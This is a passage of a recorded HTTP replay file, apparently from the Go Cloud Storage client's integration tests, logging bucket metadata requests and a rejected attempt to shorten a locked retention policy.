"Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "0" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "639" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:03 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpsYL8RxAKClLw1KRdSSIORQHYKKf_HMml2vtwDOFrh0kTYDzhGEgX2RJAPQKOP2-70q7ZZ2VfkkGz12tmTiRgSuwB2dM3xxZxZucASROVeoit9Shg" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMy41NDRaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIiwiZWZmZWN0aXZlVGltZSI6IjIwMTktMDUtMDJUMjI6MjY6MDEuOTA4WiIsImlzTG9ja2VkIjp0cnVlfSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "718775f2f8320cfd", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0017?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2536" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:03 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:03 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UprHupyIuGJCYeUCPKigfkARZRkCc2Jz051KFrXK7YS0FbdKxNe3r20jon1ejkooHsAtcXQOi1tDV41Ob9dJ3Zoyj7stDImJ0eQriMO0WLLQ__-V54" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMy41NDRaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiI5MDAwMCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI2OjAxLjkwOFoiLCJpc0xvY2tlZCI6dHJ1ZX0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBST0ifQ==" - } - }, - { - "ID": "2f4b1104fa94954b", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0017?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "47" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiMzYwMCJ9fQo=" - ] - }, - "Response": { - "StatusCode": 403, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "13774" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrafLpm39Fg6hBYYi9lSEizIWUdMduEDQykOeT9Bch6uf9BNQUO9sOAnWpTklSpNac1yW_kSNj-JR8LMmVLirC2kqG2DcQdE-Hg5dtVBkVZ4Xhjlc8" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJDYW5ub3QgcmVkdWNlIHJldGVudGlvbiBkdXJhdGlvbiBvZiBhIGxvY2tlZCBSZXRlbnRpb24gUG9saWN5IGZvciBidWNrZXQgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNycuIiwiZGVidWdJbmZvIjoiY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDQ0VTU19ERU5JRUQ6IENhbm5vdCByZWR1Y2UgcmV0ZW50aW9uIGR1cmF0aW9uIG9mIGEgbG9ja2VkIFJldGVudGlvbiBQb2xpY3kgZm9yIGJ1Y2tldCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3Jy5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuVXBkYXRlQW5kUGF0Y2hCdWNrZXQudXBkYXRlQnVja2V0KFVwZGF0ZUFuZFBhdGNoQnVja2V0LmphdmE6MTE5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuUGF0Y2hCdWNrZXQucGF0Y2hCdWNrZXQoUGF0Y2hCdWNrZXQuamF2YToxOTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5QYXRjaEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUGF0Y2hCdWNrZXQuamF2YToxNDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5QYXRjaEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUGF0Y2hCdWNrZXQuamF2YTo0Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci51cGRhdGUoQnVja2V0c0RlbGVnYXRvci5qYXZhOjEwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQ2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxOSBtb3JlXG5cbmNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1GT1JCSURERU4sIGNhdGVnb3J5PVVTRVJfRVJST1IsIGNhdXNlPW51bGwsIGRlYnVnSW5mbz1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogQ2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5VcGRhdGVBbmRQYXRjaEJ1Y2tldC51cGRhdGVCdWNrZXQoVXBkYXRlQW5kUGF0Y2hCdWNrZXQuamF2YToxMTkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5QYXRjaEJ1Y2tldC5wYXRjaEJ1Y2tldChQYXRjaEJ1Y2tldC5qYXZhOjE5Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlBhdGNoQnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChQYXRjaEJ1Y2tldC5qYXZhOjE0MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlBhdGNoQnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChQYXRjaEJ1Y2tldC5qYXZhOjQ2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLnVwZGF0ZShCdWNrZXRzRGVsZWdhdG9yLmphdmE6MTAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDYW5ub3QgcmVkdWNlIHJldGVudGlvbiBkdXJhdGlvbiBvZiBhIGxvY2tlZCBSZXRlbnRpb24gUG9saWN5IGZvciBidWNrZXQgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNycuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE5IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWZvcmJpZGRlbiwgaW50ZXJuYWxSZWFzb249UmVhc29ue2FyZ3VtZW50cz17fSwgY2F1c2U9bnVsbCwgY29kZT1nZGF0YS5Db3JlRXJyb3JEb21haW4uRk9SQklEREVOLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogQ2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5VcGRhdGVBbmRQYXRjaEJ1Y2tldC51cGRhdGVCdWNrZXQoVXBkYXRlQW5kUGF0Y2hCdWNrZXQuamF2YToxMTkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYnVja2V0cy5QYXRjaEJ1Y2tldC5wYXRjaEJ1Y2tldChQYXRjaEJ1Y2tldC5qYXZhOjE5Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlBhdGNoQnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChQYXRjaEJ1Y2tldC5qYXZhOjE0MSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlBhdGNoQnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChQYXRjaEJ1Y2tldC5qYXZhOjQ2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5CdWNrZXRzRGVsZWdhdG9yLnVwZGF0ZShCdWNrZXRzRGVsZWdhdG9yLmphdmE6MTAyKVxuXHRhdCBjb20uZ29vZ2xlLmN